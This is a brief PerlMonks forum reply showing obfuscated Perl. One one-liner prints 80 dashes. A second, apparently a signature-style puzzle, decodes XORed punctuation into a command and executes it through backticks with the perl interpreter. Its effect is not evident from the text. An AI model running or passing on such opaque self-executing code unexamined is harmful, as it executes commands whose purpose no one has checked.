http://www.perlmonks.org?node_id=853028


in reply to Re: Print a string X times?
in thread Print a string X times?

Or let's go for some obfuscation:

perl -e 's;^$;sprintf"%80s",$/;e;y; ;-; ;print'

s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e